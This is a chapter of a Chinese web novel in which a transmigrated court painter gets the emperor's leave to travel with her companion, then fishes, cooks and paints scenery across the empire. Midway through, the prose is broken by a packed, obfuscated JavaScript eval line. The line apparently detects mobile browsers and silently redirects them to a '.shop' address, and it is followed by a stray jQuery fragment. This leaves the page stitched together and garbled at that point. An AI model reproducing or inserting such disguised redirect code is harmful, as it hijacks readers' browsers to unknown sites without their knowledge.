皇帝饶有兴致地走到画案前。
这是一幅很好的画,先是宫墙朱红,继而殿宇金顶,再是街巷纵横。画师以工笔勾勒飞檐斗拱,又以写意点染烟柳画桥,更妙的是用一种奇特的透视之法,使整座京城在纸上迤逦铺展,远处青山如黛,近处流水浮灯,连朱雀大街上的人和物都依稀可辨。
他没想到孟临渊过了婚假之后会呈上这么一副画来。赋文写的也好。
夫皇都者,承紫微之正气,接北斗之瑶光。九重宫阙接霄汉,万里山河入画廊。朱雀街前,宝马香车盈路;市列珠玑,户盈罗绮,百工竞巧,万商云翔。斯乃圣主临朝,故得百姓安康……
后面皆是些赞颂了。但夸的并不虚浮,皇帝看了只觉得妥帖。
“谢卿之才,实在难得。”他赞许道。
孟临渊微微一笑,“陛下,臣笔下虽有些许丘壑,然终是井底之观,管中之窥。窃闻天地有大美而不言,臣愿行万里路,览名山大川,将陛下治下这锦绣山河,绘成江山舆图册,献于御前。”
皇帝也曾派出过画师外出采风,尤其是见到她如此精湛的画技,更是觉得不作图可惜了。
但之前多是零散图景,江山舆图之流确实前所未有。说是名为采风,但其实谢倾容这一去都不知道什么时候能回来,恐怕会坏了规矩。
侍立在一旁的内监总管石漾上前半步,细声细气地附和:“陛下,奴才听闻,江南文风鼎盛,巴蜀险奇壮丽,皆是入画的好题材。若谢翰林能亲往描绘,不仅成全其志,更可彰显陛下重文爱才,垂询四方之心啊。”
他这话说得巧妙,既捧了皇帝的文治之功,又暗示了让孟临渊离京的好处。
翰林院中,孟临渊风头太盛,家世又好,不像其他寒门出身的待诏容易掌控。对他们也不会像其他人捧着,石漾巴不得她离京越远越好。
皇帝略一沉吟便也答应了。文人嘛,总是有所追求的。游山玩水留下的墨宝佳作不少。
江山图还是很诱惑人心的,谢三的画技又好。谢家人能把心思放在画上是好事,自然就由她去吧。
画作与辞赋被皇帝命人精心装裱,悬于宫中集贤殿内,此殿常用来举办文会雅集,很快便引得朝臣宗室、乃至入宫请安的命妇女眷们争相观赏。
众人立于画前,只觉一股磅礴之气扑面而来。那画不仅格局宏大,细节处更是精妙入微,朱雀大街上的行人商贩虽仅用寥寥数笔勾勒,却神态鲜活,仿佛能听到市井喧嚣。辞赋文采斐然,字字珠玑。
“谢三郎之才,果真名不虚传!”一位老臣抚须赞叹,“此画此赋,非胸有丘壑、心容天下者不能为也。”
“往日只知其诗才敏捷,不料丹青之术亦如此深厚,真乃全才!”另一位文官附和道,眼中满是欣赏。
亦有贵女窃窃私语:“听闻谢翰林为了绘这江山舆图册,已向陛下请旨,欲远游采风,这一去,不知何年何月才能回京……”
“不过这才成婚几日,谢三郎就带着新妇远游了?真是……一刻也分不开么?”一位穿着鹅黄衣裙的少女以团扇掩唇,笑盈盈的打趣着。
另一位身着绛紫罗衫的女子轻笑接口:“可不是么?听闻那薛氏在醉江月时,谢三郎便时常流连,如今更是与她寄情山水。真是新婚燕尔,如胶似漆。”
毕竟采风多是职务行为,由朝廷派遣,拖家带口的还真少见。
不管世人怎么津津乐道,孟临渊是总算能享受富贵闲散的生活了。
他们不赶行程,孟临渊本就懒散,到了一处恨不能歇个几月半载的,不用早起请安不用上朝点卯,就连钓鱼都有意思了起来。
如今已经到了江南地界,清江蜿蜒,碧波如练,两岸垂杨蘸水,烟霭迷离。
孟临渊取了两副钓竿,递给夏容与一副,坐在江边石上。
钓竿原是湘妃竹制的,轻巧细韧,丝纶如发,系着明晃晃一枚金钩。她取了些许面饵,轻轻捻在钩上,将丝纶垂下水去。
不多时,浮子微动,孟临渊手腕轻抖,一尾银鳞鲈鱼应声而出,在夕阳下闪着碎金般的光。夏容与那边也钓得几尾青鲫,俱是活蹦乱跳的。
孟临渊懒洋洋道:“今日这鱼鲜,正好煮一锅汤。”
两人回了租的宅子,把鱼去鳞剖腹,用姜椒略腌。
待铁锅烧热,夏容与下葱蒜爆香,又撒一把新采的芫荽、红椒。将两味鱼鲜同投入釜,佐以嫩豆腐,文火慢煨。
那鱼在滚汤中渐渐泛白,不多时,鲜香混着辛辣之气弥漫开来。
孟临渊尝了一口,汤鲜如乳,辣而不燥,鱼嫩似豆腐,入口即化。
“不错嘛,很好吃。”
夏容与挑眉,“江南水好,鱼自然鲜嫩。明日若还钓得上,试试松鼠鳜鱼?”
“你倒是会享受。”孟临渊若有所思,“不过我觉得不错。”
随山也很快送来了食盒。揭开盒盖,只见一碟糟鹅掌,一碟胭脂鹅脯,并一盅火腿鲜笋汤,另有碧莹莹一盏荠菜羹,配上雪白的稻米饭,热香袅袅,竟也摆了大半桌子。
孟临渊已经捧了本志怪小说看得入神。她一手执书,另一手拿着筷子,感觉分外不趁手。
下次度假任务还是选在现代吧,还是现代更舒服啊……有手机玩岂不更爽,还会有冰淇淋、甜品、可乐炸鸡等等。
夏容与取出一个精巧的物件——那是一个造型别致的梨木翻页器,形似一座微缩的博古架,顶端有一弯月牙状的托架,正好可以稳稳卡住书脊,将整本书支撑起来,解放双手。
下方则设有机括,只需用指尖轻推一侧的滑钮,便能带动一根细巧的檀木拨片,灵巧地将书页掀起一角,顺势翻过。
孟临渊接过翻书器试了试,果然方便许多。
“你什么时候做的?”她饶有兴致地把玩着。
“前两日看你总是一手拿书一手吃饭,不便当,便随手做了个。”夏容与说得轻描淡写,也抽了本书看了起来。
“想好之后去哪画景了吗?”
孟临渊撑着下巴,“不如去西塘镇写生?听说那里的廊桥很有特色。”
她其实不喜欢出门游玩,不过若是作画,肯定要给皇帝画些有特色的东西。干脆就定了些标志性的地方,皇帝又不知道她去了哪里。画完就又可以宅了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795009|182219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
七日后二人便乘着一叶小舟,沿着蜿蜒水道缓缓而行。船夫是个健谈的老者,一路为他们指点两岸风景,说起西塘廊桥的传说更是绘声绘色。
“那廊桥啊,传说是百年前一位富商为心爱之人所建。每逢雨天,二人便在桥上相会,共赏烟雨……”
船至西塘,但见一座古朴的廊桥横跨河上,桥身朱漆虽有些斑驳,却更添岁月沉淀的美感。桥上是木结构的廊檐,雕梁画栋,精巧非常。
二人登上廊桥,寻了个视野开阔处摆开画具。孟临渊铺开一张大幅宣纸,夏容与则熟练地在一旁研墨调色。
“今日我想试试青绿山水的手法。”孟临渊凝视着桥下流水与远处白墙黛瓦,“这雨后的色调,正适合石青与石绿。”
夏容与点头,将青绿二色分别调出深浅不同的几种层次,又添了一碟赭石、一碟花青,整齐排列在孟临渊手边。
孟临渊执笔蘸墨,先以淡墨勾勒廊桥结构与远山轮廓,再换一支稍大的笔,蘸取青绿,层层渲染。她作画时极为专注,手腕悬空,运笔如飞。
夏容与静静旁观,不时递上她需要的颜色。待画到桥下流水时,孟临渊换了一支狼毫小笔,以花青淡淡扫出波纹,又在波光处留白,营造出水光潋滟的效果。
“这里添几笔赭石如何?”夏容与指着桥墩处的水面,“表现阳光透过云隙洒下的暖色。”
孟临渊从善如流,轻轻点上几笔,画面顿时生动不少。
不知不觉,日头已偏西。廊桥上的游人渐渐稀少,远处炊烟袅袅升起。
孟临渊放下笔,仔细端详着已完成大半的画作。青绿山水间,廊桥静卧,流水潺潺,远处屋舍错落,整个西塘镇的风貌尽收眼底。
补些细节就可完工了。
这一补就是两个月。
两个月的时间,京中传来消息,聂云珍和赵珩定了亲。
孟临渊倒是不意外,原剧情中就是聂云珍选了赵珩。这两位也算是天作之合了,历经如此的两世还能在一起。
她也懒得管这些事,只细细包裹了画,叫了镖师将西塘的画运回京中。
又歇了一阵,直到孟临渊自己都觉得,再待下去,怕是下一幅画要变成《春日酣睡图》了,两人才终于收拾行装,带着仆从沿着运河继续南下。
待到得云梦泽畔,但见水天一色,无边无际,湖中风浪甚大,涛声如雷,与江南水乡的温婉截然不同。
日升月落,舟行湖上,仿佛与世隔绝。孟临渊被这苍茫浩瀚的景象所撼,连日来都立在船头,观察着湖光水色的变幻,从晨雾未散时的迷蒙,到正午时分的波光粼粼,再到夕阳西下时的残红铺水。
她铺开大幅宣纸,这一次,用的不再是青绿山水的手法,而是纯以水墨,试图捕捉这云梦泽的魂魄。她用大笔泼墨,渲染出湖水的深沉与天空的辽阔,又以干笔焦墨,勾勒出远山的隐约轮廓和近处礁石的嶙峋。画面空濛浩渺,留白处皆是水天一色,一股洪荒旷远之气跃然纸上。
就这么一路画一路游玩,终于是把九州草草逛了一遍。
就这样逛了近五年。也是时候该回京了。